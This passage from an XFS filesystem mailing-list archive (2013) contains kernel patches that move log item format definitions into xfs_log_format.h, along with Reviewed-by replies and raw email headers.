0x100 /* log i_af.i_broot */ > - > - > -/* > - * The timestamps are dirty, but not necessarily anything else in the inode > - * core. Unlike the other fields above this one must never make it to disk > - * in the ilf_fields of the inode_log_format, but is purely store in-memory in > - * ili_fields in the inode_log_item. > - */ > -#define XFS_ILOG_TIMESTAMP 0x4000 > - > -#define XFS_ILOG_NONCORE (XFS_ILOG_DDATA | XFS_ILOG_DEXT | \ > - XFS_ILOG_DBROOT | XFS_ILOG_DEV | \ > - XFS_ILOG_UUID | XFS_ILOG_ADATA | \ > - XFS_ILOG_AEXT | XFS_ILOG_ABROOT) > - > -#define XFS_ILOG_DFORK (XFS_ILOG_DDATA | XFS_ILOG_DEXT | \ > - XFS_ILOG_DBROOT) > - > -#define XFS_ILOG_AFORK (XFS_ILOG_ADATA | XFS_ILOG_AEXT | \ > - XFS_ILOG_ABROOT) > - > -#define XFS_ILOG_ALL (XFS_ILOG_CORE | XFS_ILOG_DDATA | \ > - XFS_ILOG_DEXT | XFS_ILOG_DBROOT | \ > - XFS_ILOG_DEV | XFS_ILOG_UUID | \ > - XFS_ILOG_ADATA | XFS_ILOG_AEXT | \ > - XFS_ILOG_ABROOT | XFS_ILOG_TIMESTAMP) > - > -static inline int xfs_ilog_fbroot(int w) > -{ > - return (w == XFS_DATA_FORK ? XFS_ILOG_DBROOT : XFS_ILOG_ABROOT); > -} > - > -static inline int xfs_ilog_fext(int w) > -{ > - return (w == XFS_DATA_FORK ? XFS_ILOG_DEXT : XFS_ILOG_AEXT); > -} > - > -static inline int xfs_ilog_fdata(int w) > -{ > - return (w == XFS_DATA_FORK ? XFS_ILOG_DDATA : XFS_ILOG_ADATA); > -} > - > -#ifdef __KERNEL__ > +/* kernel only definitions */ > > struct xfs_buf; > struct xfs_bmbt_rec; > struct xfs_inode; > struct xfs_mount; > > - > typedef struct xfs_inode_log_item { > xfs_log_item_t ili_item; /* common portion */ > struct xfs_inode *ili_inode; /* inode ptr */ > @@ -151,7 +41,6 @@ typedef struct xfs_inode_log_item { > xfs_inode_log_format_t ili_format; /* logged structure */ > } xfs_inode_log_item_t; > > - > static inline int xfs_inode_clean(xfs_inode_t *ip) > { > return !ip->i_itemp || !(ip->i_itemp->ili_fields & XFS_ILOG_ALL); > @@ -165,6 +54,6 @@ extern void xfs_iflush_abort(struct xfs_inode *, bool); > extern int xfs_inode_item_format_convert(xfs_log_iovec_t *, > xfs_inode_log_format_t *); > > -#endif /* __KERNEL__ */ > +extern struct kmem_zone *xfs_ili_zone; > > #endif /* __XFS_INODE_ITEM_H__ */ > diff --git a/fs/xfs/xfs_log_format.h b/fs/xfs/xfs_log_format.h > index 9f9aeb6..fd46a7f 100644 > --- a/fs/xfs/xfs_log_format.h > +++ b/fs/xfs/xfs_log_format.h > @@ -18,6 +18,16 @@ > #ifndef __XFS_LOG_FORMAT_H__ > #define __XFS_LOG_FORMAT_H__ > > +/* > + * On-disk Log Format definitions. > + * > + * This file contains all the on-disk format definitions used within the log. It > + * includes the physical log structure itself, as well as all the log item > + * format structures that are written into the log and intepreted by log > + * recovery. We start with the physical log format definitions, and then work > + * through all the log items definitions and everything they encode into the > + * log. > + */ > typedef __uint32_t xlog_tid_t; > > #define XLOG_MIN_ICLOGS 2 > @@ -175,4 +185,183 @@ typedef struct xfs_log_iovec { > uint i_type; /* type of region */ > } xfs_log_iovec_t; > > + > +/* > + * Inode Log Item Format definitions. > + * > + * This is the structure used to lay out an inode log item in the > + * log. The size of the inline data/extents/b-tree root to be logged > + * (if any) is indicated in the ilf_dsize field. Changes to this structure > + * must be added on to the end. > + */ > +typedef struct xfs_inode_log_format { > + __uint16_t ilf_type; /* inode log item type */ > + __uint16_t ilf_size; /* size of this item */ > + __uint32_t ilf_fields; /* flags for fields logged */ > + __uint16_t ilf_asize; /* size of attr d/ext/root */ > + __uint16_t ilf_dsize; /* size of data/ext/root */ > + __uint64_t ilf_ino; /* inode number */ > + union { > + __uint32_t ilfu_rdev; /* rdev value for dev inode*/ > + uuid_t ilfu_uuid; /* mount point value */ > + } ilf_u; > + __int64_t ilf_blkno; /* blkno of inode buffer */ > + __int32_t ilf_len; /* len of inode buffer */ > + __int32_t ilf_boffset; /* off of inode in buffer */ > +} xfs_inode_log_format_t; > + > +typedef struct xfs_inode_log_format_32 { > + __uint16_t ilf_type; /* inode log item type */ > + __uint16_t ilf_size; /* size of this item */ > + __uint32_t ilf_fields; /* flags for fields logged */ > + __uint16_t ilf_asize; /* size of attr d/ext/root */ > + __uint16_t ilf_dsize; /* size of data/ext/root */ > + __uint64_t ilf_ino; /* inode number */ > + union { > + __uint32_t ilfu_rdev; /* rdev value for dev inode*/ > + uuid_t ilfu_uuid; /* mount point value */ > + } ilf_u; > + __int64_t ilf_blkno; /* blkno of inode buffer */ > + __int32_t ilf_len; /* len of inode buffer */ > + __int32_t ilf_boffset; /* off of inode in buffer */ > +} __attribute__((packed)) xfs_inode_log_format_32_t; > + > +typedef struct xfs_inode_log_format_64 { > + __uint16_t ilf_type; /* inode log item type */ > + __uint16_t ilf_size; /* size of this item */ > + __uint32_t ilf_fields; /* flags for fields logged */ > + __uint16_t ilf_asize; /* size of attr d/ext/root */ > + __uint16_t ilf_dsize; /* size of data/ext/root */ > + __uint32_t ilf_pad; /* pad for 64 bit boundary */ > + __uint64_t ilf_ino; /* inode number */ > + union { > + __uint32_t ilfu_rdev; /* rdev value for dev inode*/ > + uuid_t ilfu_uuid; /* mount point value */ > + } ilf_u; > + __int64_t ilf_blkno; /* blkno of inode buffer */ > + __int32_t ilf_len; /* len of inode buffer */ > + __int32_t ilf_boffset; /* off of inode in buffer */ > +} xfs_inode_log_format_64_t; > + > +/* > + * Flags for xfs_trans_log_inode flags field. > + */ > +#define XFS_ILOG_CORE 0x001 /* log standard inode fields */ > +#define XFS_ILOG_DDATA 0x002 /* log i_df.if_data */ > +#define XFS_ILOG_DEXT 0x004 /* log i_df.if_extents */ > +#define XFS_ILOG_DBROOT 0x008 /* log i_df.i_broot */ > +#define XFS_ILOG_DEV 0x010 /* log the dev field */ > +#define XFS_ILOG_UUID 0x020 /* log the uuid field */ > +#define XFS_ILOG_ADATA 0x040 /* log i_af.if_data */ > +#define XFS_ILOG_AEXT 0x080 /* log i_af.if_extents */ > +#define XFS_ILOG_ABROOT 0x100 /* log i_af.i_broot */ > + > + > +/* > + * The timestamps are dirty, but not necessarily anything else in the inode > + * core. Unlike the other fields above this one must never make it to disk > + * in the ilf_fields of the inode_log_format, but is purely store in-memory in > + * ili_fields in the inode_log_item. > + */ > +#define XFS_ILOG_TIMESTAMP 0x4000 > + > +#define XFS_ILOG_NONCORE (XFS_ILOG_DDATA | XFS_ILOG_DEXT | \ > + XFS_ILOG_DBROOT | XFS_ILOG_DEV | \ > + XFS_ILOG_UUID | XFS_ILOG_ADATA | \ > + XFS_ILOG_AEXT | XFS_ILOG_ABROOT) > + > +#define XFS_ILOG_DFORK (XFS_ILOG_DDATA | XFS_ILOG_DEXT | \ > + XFS_ILOG_DBROOT) > + > +#define XFS_ILOG_AFORK (XFS_ILOG_ADATA | XFS_ILOG_AEXT | \ > + XFS_ILOG_ABROOT) > + > +#define XFS_ILOG_ALL (XFS_ILOG_CORE | XFS_ILOG_DDATA | \ > + XFS_ILOG_DEXT | XFS_ILOG_DBROOT | \ > + XFS_ILOG_DEV | XFS_ILOG_UUID | \ > + XFS_ILOG_ADATA | XFS_ILOG_AEXT | \ > + XFS_ILOG_ABROOT | XFS_ILOG_TIMESTAMP) > + > +static inline int xfs_ilog_fbroot(int w) > +{ > + return (w == XFS_DATA_FORK ? XFS_ILOG_DBROOT : XFS_ILOG_ABROOT); > +} > + > +static inline int xfs_ilog_fext(int w) > +{ > + return (w == XFS_DATA_FORK ? XFS_ILOG_DEXT : XFS_ILOG_AEXT); > +} > + > +static inline int xfs_ilog_fdata(int w) > +{ > + return (w == XFS_DATA_FORK ? XFS_ILOG_DDATA : XFS_ILOG_ADATA); > +} > + > +/* > + * Incore version of the on-disk inode core structures. We log this directly > + * into the journal in host CPU format (for better or worse) and as such > + * directly mirrors the xfs_dinode structure as it must contain all the same > + * information. > + */ > +typedef struct xfs_ictimestamp { > + __int32_t t_sec; /* timestamp seconds */ > + __int32_t t_nsec; /* timestamp nanoseconds */ > +} xfs_ictimestamp_t; > + > +/* > + * NOTE: This structure must be kept identical to struct xfs_dinode > + * in xfs_dinode.h except for the endianness annotations. > + */ > +typedef struct xfs_icdinode { > + __uint16_t di_magic; /* inode magic # = XFS_DINODE_MAGIC */ > + __uint16_t di_mode; /* mode and type of file */ > + __int8_t di_version; /* inode version */ > + __int8_t di_format; /* format of di_c data */ > + __uint16_t di_onlink; /* old number of links to file */ > + __uint32_t di_uid; /* owner's user id */ > + __uint32_t di_gid; /* owner's group id */ > + __uint32_t di_nlink; /* number of links to file */ > + __uint16_t di_projid_lo; /* lower part of owner's project id */ > + __uint16_t di_projid_hi; /* higher part of owner's project id */ > + __uint8_t di_pad[6]; /* unused, zeroed space */ > + __uint16_t di_flushiter; /* incremented on flush */ > + xfs_ictimestamp_t di_atime; /* time last accessed */ > + xfs_ictimestamp_t di_mtime; /* time last modified */ > + xfs_ictimestamp_t di_ctime; /* time created/inode modified */ > + xfs_fsize_t di_size; /* number of bytes in file */ > + xfs_drfsbno_t di_nblocks; /* # of direct & btree blocks used */ > + xfs_extlen_t di_extsize; /* basic/minimum extent size for file */ > + xfs_extnum_t di_nextents; /* number of extents in data fork */ > + xfs_aextnum_t di_anextents; /* number of extents in attribute fork*/ > + __uint8_t di_forkoff; /* attr fork offs, <<3 for 64b align */ > + __int8_t di_aformat; /* format of attr fork's data */ > + __uint32_t di_dmevmask; /* DMIG event mask */ > + __uint16_t di_dmstate; /* DMIG state info */ > + __uint16_t di_flags; /* random flags, XFS_DIFLAG_... */ > + __uint32_t di_gen; /* generation number */ > + > + /* di_next_unlinked is the only non-core field in the old dinode */ > + xfs_agino_t di_next_unlinked;/* agi unlinked list ptr */ > + > + /* start of the extended dinode, writable fields */ > + __uint32_t di_crc; /* CRC of the inode */ > + __uint64_t di_changecount; /* number of attribute changes */ > + xfs_lsn_t di_lsn; /* flush sequence */ > + __uint64_t di_flags2; /* more random flags */ > + __uint8_t di_pad2[16]; /* more padding for future expansion */ > + > + /* fields only written to during inode creation */ > + xfs_ictimestamp_t di_crtime; /* time created */ > + xfs_ino_t di_ino; /* inode number */ > + uuid_t di_uuid; /* UUID of the filesystem */ > + > + /* structure must be padded to 64 bit alignment */ > +} xfs_icdinode_t; > + > +static inline uint xfs_icdinode_size(int version) > +{ > + if (version == 3) > + return sizeof(struct xfs_icdinode); > + return offsetof(struct xfs_icdinode, di_next_unlinked); > +} > #endif /* __XFS_LOG_FORMAT_H__ */ > diff --git a/fs/xfs/xfs_types.h b/fs/xfs/xfs_types.h > index 61ba1cf..39c48ca 100644 > --- a/fs/xfs/xfs_types.h > +++ b/fs/xfs/xfs_types.h > @@ -146,6 +146,12 @@ typedef __uint64_t xfs_filblks_t; /* number of blocks in a file */ > #define XFS_MAX_SECTORSIZE (1 << XFS_MAX_SECTORSIZE_LOG) > > /* > + * Inode fork identifiers. > + */ > +#define XFS_DATA_FORK 0 > +#define XFS_ATTR_FORK 1 > + > +/* > * Min numbers of data/attr fork btree root pointers. > */ > #define MINDBTPTRS 3 > diff --git a/fs/xfs/xfs_xattr.c b/fs/xfs/xfs_xattr.c > index 87d3e03..b7311aa 100644 > --- a/fs/xfs/xfs_xattr.c > +++ b/fs/xfs/xfs_xattr.c > @@ -17,6 +17,7 @@ > */ > > #include "xfs.h" > +#include "xfs_log_format.h" > #include "xfs_da_btree.h" > #include "xfs_bmap_btree.h" > #include "xfs_inode.h" > From bfoster@redhat.com Tue Jul 23 09:04:45 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 2E0FE7F52 for ; Tue, 23 Jul 2013 09:04:45 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 0F88A304051 for ; Tue, 23 Jul 2013 07:04:41 -0700 (PDT) X-ASG-Debug-ID: 1374588281-04cbb0468f12fd6a0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id fVQ3RoHa5rW5HOun for ; Tue, 23 Jul 2013 07:04:41 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r6NE4eQD003374 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 23 Jul 2013 10:04:40 -0400 Received: from laptop.bfoster (vpn-63-213.rdu2.redhat.com [10.10.63.213]) by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id r6NE4d5Y008120 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 23 Jul 2013 10:04:40 -0400 Message-ID: <51EE8CB7.2080703@redhat.com> Date: Tue, 23 Jul 2013 10:01:27 -0400 From: Brian Foster User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130625 Thunderbird/17.0.7 MIME-Version: 1.0 To: xfs@oss.sgi.com Subject: Re: [PATCH 03/49] xfs: split out buf log item format definitions References: <1374215120-7271-1-git-send-email-david@fromorbit.com> <1374215120-7271-4-git-send-email-david@fromorbit.com> X-ASG-Orig-Subj: Re: [PATCH 03/49] xfs: split out buf log item format definitions In-Reply-To: <1374215120-7271-4-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1374588281 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 07/19/2013 02:24 AM, Dave Chinner wrote: > From: Dave Chinner > > Signed-off-by: Dave Chinner > --- Reviewed-by: Brian Foster > fs/xfs/xfs_buf_item.h | 100 ++---------------------------------------------- > fs/xfs/xfs_log_format.h | 97 ++++++++++++++++++++++++++++++++++++++++++++++ > 2 files changed, 100 insertions(+), 97 deletions(-) > > diff --git a/fs/xfs/xfs_buf_item.h b/fs/xfs/xfs_buf_item.h > index 0f1c247..db63710 100644 > --- a/fs/xfs/xfs_buf_item.h > +++ b/fs/xfs/xfs_buf_item.h > @@ -18,101 +18,9 @@ > #ifndef __XFS_BUF_ITEM_H__ > #define __XFS_BUF_ITEM_H__ > > -extern kmem_zone_t *xfs_buf_item_zone; > - > -/* > - * This flag indicates that the buffer contains on disk inodes > - * and requires special recovery handling. > - */ > -#define XFS_BLF_INODE_BUF (1<<0) > -/* > - * This flag indicates that the buffer should not be replayed > - * during recovery because its blocks are being freed. > - */ > -#define XFS_BLF_CANCEL (1<<1) > - > -/* > - * This flag indicates that the buffer contains on disk > - * user or group dquots and may require special recovery handling. > - */ > -#define XFS_BLF_UDQUOT_BUF (1<<2) > -#define XFS_BLF_PDQUOT_BUF (1<<3) > -#define XFS_BLF_GDQUOT_BUF (1<<4) > - > -#define XFS_BLF_CHUNK 128 > -#define XFS_BLF_SHIFT 7 > -#define BIT_TO_WORD_SHIFT 5 > -#define NBWORD (NBBY * sizeof(unsigned int)) > - > -/* > - * This is the structure used to lay out a buf log item in the > - * log. The data map describes which 128 byte chunks of the buffer > - * have been logged. > - */ > -#define XFS_BLF_DATAMAP_SIZE ((XFS_MAX_BLOCKSIZE / XFS_BLF_CHUNK) / NBWORD) > +/* kernel only definitions */ > > -typedef struct xfs_buf_log_format { > - unsigned short blf_type; /* buf log item type indicator */ > - unsigned short blf_size; /* size of this item */ > - ushort blf_flags; /* misc state */ > - ushort blf_len; /* number of blocks in this buf */ > - __int64_t blf_blkno; /* starting blkno of this buf */ > - unsigned int blf_map_size; /* used size of data bitmap in words */ > - unsigned int blf_data_map[XFS_BLF_DATAMAP_SIZE]; /* dirty bitmap */ > -} xfs_buf_log_format_t; > - > -/* > - * All buffers now need to tell recovery where the magic number > - * is so that it can verify and calculate the CRCs on the buffer correctly > - * once the changes have been replayed into the buffer. > - * > - * The type value is held in the upper 5 bits of the blf_flags field, which is > - * an unsigned 16 bit field. Hence we need to shift it 11 bits up and down. > - */ > -#define XFS_BLFT_BITS 5 > -#define XFS_BLFT_SHIFT 11 > -#define XFS_BLFT_MASK (((1 << XFS_BLFT_BITS) - 1) << XFS_BLFT_SHIFT) > - > -enum xfs_blft { > - XFS_BLFT_UNKNOWN_BUF = 0, > - XFS_BLFT_UDQUOT_BUF, > - XFS_BLFT_PDQUOT_BUF, > - XFS_BLFT_GDQUOT_BUF, > - XFS_BLFT_BTREE_BUF, > - XFS_BLFT_AGF_BUF, > - XFS_BLFT_AGFL_BUF, > - XFS_BLFT_AGI_BUF, > - XFS_BLFT_DINO_BUF, > - XFS_BLFT_SYMLINK_BUF, > - XFS_BLFT_DIR_BLOCK_BUF, > - XFS_BLFT_DIR_DATA_BUF, > - XFS_BLFT_DIR_FREE_BUF, > - XFS_BLFT_DIR_LEAF1_BUF, > - XFS_BLFT_DIR_LEAFN_BUF, > - XFS_BLFT_DA_NODE_BUF, > - XFS_BLFT_ATTR_LEAF_BUF, > - XFS_BLFT_ATTR_RMT_BUF, > - XFS_BLFT_SB_BUF, > - XFS_BLFT_MAX_BUF = (1 << XFS_BLFT_BITS), > -}; > - > -static inline void > -xfs_blft_to_flags(struct xfs_buf_log_format *blf, enum xfs_blft type) > -{ > - ASSERT(type > XFS_BLFT_UNKNOWN_BUF && type < XFS_BLFT_MAX_BUF); > - blf->blf_flags &= ~XFS_BLFT_MASK; > - blf->blf_flags |= ((type << XFS_BLFT_SHIFT) & XFS_BLFT_MASK); > -} > - > -static inline __uint16_t > -xfs_blft_from_flags(struct xfs_buf_log_format *blf) > -{ > - return (blf->blf_flags & XFS_BLFT_MASK) >> XFS_BLFT_SHIFT; > -} > - > -/* > - * buf log item flags > - */ > +/* buf log item flags */ > #define XFS_BLI_HOLD 0x01 > #define XFS_BLI_DIRTY 0x02 > #define XFS_BLI_STALE 0x04 > @@ -133,8 +41,6 @@ xfs_blft_from_flags(struct xfs_buf_log_format *blf) > { XFS_BLI_ORDERED, "ORDERED" } > > > -#ifdef __KERNEL__ > - > struct xfs_buf; > struct xfs_mount; > struct xfs_buf_log_item; > @@ -169,6 +75,6 @@ void xfs_trans_buf_set_type(struct xfs_trans *, struct xfs_buf *, > enum xfs_blft); > void xfs_trans_buf_copy_type(struct xfs_buf *dst_bp, struct xfs_buf *src_bp); > > -#endif /* __KERNEL__ */ > +extern kmem_zone_t *xfs_buf_item_zone; > > #endif /* __XFS_BUF_ITEM_H__ */ > diff --git a/fs/xfs/xfs_log_format.h b/fs/xfs/xfs_log_format.h > index fd46a7f..77a6024 100644 > --- a/fs/xfs/xfs_log_format.h > +++ b/fs/xfs/xfs_log_format.h > @@ -364,4 +364,101 @@ static inline uint xfs_icdinode_size(int version) > return sizeof(struct xfs_icdinode); > return offsetof(struct xfs_icdinode, di_next_unlinked); > } > + > +/* > + * Buffer Log Format defintions > + * > + * These are the physical dirty bitmap defintions for the log format structure. > + */ > +#define XFS_BLF_CHUNK 128 > +#define XFS_BLF_SHIFT 7 > +#define BIT_TO_WORD_SHIFT 5 > +#define NBWORD (NBBY * sizeof(unsigned int)) > + > +/* > + * This flag indicates that the buffer contains on disk inodes > + * and requires special recovery handling. > + */ > +#define XFS_BLF_INODE_BUF (1<<0) > + > +/* > + * This flag indicates that the buffer should not be replayed > + * during recovery because its blocks are being freed. > + */ > +#define XFS_BLF_CANCEL (1<<1) > + > +/* > + * This flag indicates that the buffer contains on disk > + * user or group dquots and may require special recovery handling. > + */ > +#define XFS_BLF_UDQUOT_BUF (1<<2) > +#define XFS_BLF_PDQUOT_BUF (1<<3) > +#define XFS_BLF_GDQUOT_BUF (1<<4) > + > +/* > + * This is the structure used to lay out a buf log item in the > + * log. The data map describes which 128 byte chunks of the buffer > + * have been logged. > + */ > +#define XFS_BLF_DATAMAP_SIZE ((XFS_MAX_BLOCKSIZE / XFS_BLF_CHUNK) / NBWORD) > + > +typedef struct xfs_buf_log_format { > + unsigned short blf_type; /* buf log item type indicator */ > + unsigned short blf_size; /* size of this item */ > + ushort blf_flags; /* misc state */ > + ushort blf_len; /* number of blocks in this buf */ > + __int64_t blf_blkno; /* starting blkno of this buf */ > + unsigned int blf_map_size; /* used size of data bitmap in words */ > + unsigned int blf_data_map[XFS_BLF_DATAMAP_SIZE]; /* dirty bitmap */ > +} xfs_buf_log_format_t; > + > +/* > + * All buffers now need to tell recovery where the magic number > + * is so that it can verify and calculate the CRCs on the buffer correctly > + * once the changes have been replayed into the buffer. > + * > + * The type value is held in the upper 5 bits of the blf_flags field, which is > + * an unsigned 16 bit field. Hence we need to shift it 11 bits up and down. > + */ > +#define XFS_BLFT_BITS 5 > +#define XFS_BLFT_SHIFT 11 > +#define XFS_BLFT_MASK (((1 << XFS_BLFT_BITS) - 1) << XFS_BLFT_SHIFT) > + > +enum xfs_blft { > + XFS_BLFT_UNKNOWN_BUF = 0, > + XFS_BLFT_UDQUOT_BUF, > + XFS_BLFT_PDQUOT_BUF, > + XFS_BLFT_GDQUOT_BUF, > + XFS_BLFT_BTREE_BUF, > + XFS_BLFT_AGF_BUF, > + XFS_BLFT_AGFL_BUF, > + XFS_BLFT_AGI_BUF, > + XFS_BLFT_DINO_BUF, > + XFS_BLFT_SYMLINK_BUF, > + XFS_BLFT_DIR_BLOCK_BUF, > + XFS_BLFT_DIR_DATA_BUF, > + XFS_BLFT_DIR_FREE_BUF, > + XFS_BLFT_DIR_LEAF1_BUF, > + XFS_BLFT_DIR_LEAFN_BUF, > + XFS_BLFT_DA_NODE_BUF, > + XFS_BLFT_ATTR_LEAF_BUF, > + XFS_BLFT_ATTR_RMT_BUF, > + XFS_BLFT_SB_BUF, > + XFS_BLFT_MAX_BUF = (1 << XFS_BLFT_BITS), > +}; > + > +static inline void > +xfs_blft_to_flags(struct xfs_buf_log_format *blf, enum xfs_blft type) > +{ > + ASSERT(type > XFS_BLFT_UNKNOWN_BUF && type < XFS_BLFT_MAX_BUF); > + blf->blf_flags &= ~XFS_BLFT_MASK; > + blf->blf_flags |= ((type << XFS_BLFT_SHIFT) & XFS_BLFT_MASK); > +} > + > +static inline __uint16_t > +xfs_blft_from_flags(struct xfs_buf_log_format *blf) > +{ > + return (blf->blf_flags & XFS_BLFT_MASK) >> XFS_BLFT_SHIFT; > +} > + > #endif /* __XFS_LOG_FORMAT_H__ */ > From bfoster@redhat.com Tue Jul 23 09:05:16 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id C160D7F4E for ; Tue, 23 Jul 2013 09:05:16 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 405CAAC008 for ; Tue, 23 Jul 2013 07:05:13 -0700 (PDT) X-ASG-Debug-ID: 1374588312-04cbb0468f12fd730001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 3bx7buER9ESTMDaD for ; Tue, 23 Jul 2013 07:05:12 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r6NE5Bu9003499 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 23 Jul 2013 10:05:11 -0400 Received: from laptop.bfoster (vpn-63-213.rdu2.redhat.com [10.10.63.213]) by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id r6NE5AVp008351 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 23 Jul 2013 10:05:11 -0400 Message-ID: <51EE8CD6.9070004@redhat.com> Date: Tue, 23 Jul 2013 10:01:58 -0400 From: Brian Foster User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130625 Thunderbird/17.0.7 MIME-Version: 1.0 To: xfs@oss.sgi.com Subject: Re: [PATCH 04/49] xfs: split out inode log item format definition References: <1374215120-7271-1-git-send-email-david@fromorbit.com> <1374215120-7271-5-git-send-email-david@fromorbit.com> X-ASG-Orig-Subj: Re: [PATCH 04/49] xfs: split out inode log item format definition In-Reply-To: <1374215120-7271-5-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1374588312 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 07/19/2013 02:24 AM, Dave Chinner wrote: > From: Dave Chinner > > The EFI/EFD item format definitions are shared with userspace. Split > the out of header files that contain kernel only defintions to make > it simple to shared them. > > Signed-off-by: Dave Chinner > --- Reviewed-by: Brian Foster > fs/xfs/xfs_extfree_item.h | 88 ++--------------------------------------------- > fs/xfs/xfs_log_format.h | 83 ++++++++++++++++++++++++++++++++++++++++++++ > 2 files changed, 85 insertions(+), 86 deletions(-) > > diff --git a/fs/xfs/xfs_extfree_item.h b/fs/xfs/xfs_extfree_item.h > index 4322224..0ffbce3 100644 > --- a/fs/xfs/xfs_extfree_item.h > +++ b/fs/xfs/xfs_extfree_item.h > @@ -18,93 +18,11 @@ > #ifndef __XFS_EXTFREE_ITEM_H__ > #define __XFS_EXTFREE_ITEM_H__ > > +/* kernel only EFI/EFD definitions */ > + > struct xfs_mount; > struct kmem_zone; > > -typedef struct xfs_extent { > - xfs_dfsbno_t ext_start; > - xfs_extlen_t ext_len; > -} xfs_extent_t; > - > -/* > - * Since an xfs_extent_t has types (start:64, len: 32) > - * there are different alignments on 32 bit and 64 bit kernels. > - * So we provide the different variants for use by a > - * conversion routine. > - */ > - > -typedef struct xfs_extent_32 { > - __uint64_t ext_start; > - __uint32_t ext_len; > -} __attribute__((packed)) xfs_extent_32_t; > - > -typedef struct xfs_extent_64 { > - __uint64_t ext_start; > - __uint32_t ext_len; > - __uint32_t ext_pad; > -} xfs_extent_64_t; > - > -/* > - * This is the structure used to lay out an efi log item in the > - * log. The efi_extents field is a variable size array whose > - * size is given by efi_nextents. > - */ > -typedef struct xfs_efi_log_format { > - __uint16_t efi_type; /* efi log item type */ > - __uint16_t efi_size; /* size of this item */ > - __uint32_t efi_nextents; /* # extents to free */ > - __uint64_t efi_id; /* efi identifier */ > - xfs_extent_t efi_extents[1]; /* array of extents to free */ > -} xfs_efi_log_format_t; > - > -typedef struct xfs_efi_log_format_32 { > - __uint16_t efi_type; /* efi log item type */ > - __uint16_t efi_size; /* size of this item */ > - __uint32_t efi_nextents; /* # extents to free */ > - __uint64_t efi_id; /* efi identifier */ > - xfs_extent_32_t efi_extents[1]; /* array of extents to free */ > -} __attribute__((packed)) xfs_efi_log_format_32_t; > - > -typedef struct xfs_efi_log_format_64 { > - __uint16_t efi_type; /* efi log item type */ > - __uint16_t efi_size; /* size of this item */ > - __uint32_t efi_nextents; /* # extents to free */ > - __uint64_t efi_id; /* efi identifier */ > - xfs_extent_64_t efi_extents[1]; /* array of extents to free */ > -} xfs_efi_log_format_64_t; > - > -/* > - * This is the structure used to lay out an efd log item in the > - * log. The efd_extents array is a variable size array whose > - * size is given by efd_nextents; > - */ > -typedef struct xfs_efd_log_format { > - __uint16_t efd_type; /* efd log item type */ > - __uint16_t efd_size; /* size of this item */ > - __uint32_t efd_nextents; /* # of extents freed */ > - __uint64_t efd_efi_id; /* id of corresponding efi */ > - xfs_extent_t efd_extents[1]; /* array of extents freed */ > -} xfs_efd_log_format_t; > - > -typedef struct xfs_efd_log_format_32 { > - __uint16_t efd_type; /* efd log item type */ > - __uint16_t efd_size; /* size of this item */ > - __uint32_t efd_nextents; /* # of extents freed */ > - __uint64_t efd_efi_id; /* id of corresponding efi */ > - xfs_extent_32_t efd_extents[1]; /* array of extents freed */ > -} __attribute__((packed)) xfs_efd_log_format_32_t; > - > -typedef struct xfs_efd_log_format_64 { > - __uint16_t efd_type; /* efd log item type */ > - __uint16_t efd_size; /* size of this item */ > - __uint32_t efd_nextents; /* # of extents freed */ > - __uint64_t efd_efi_id; /* id of corresponding efi */ > - xfs_extent_64_t efd_extents[1]; /* array of extents freed */ > -} 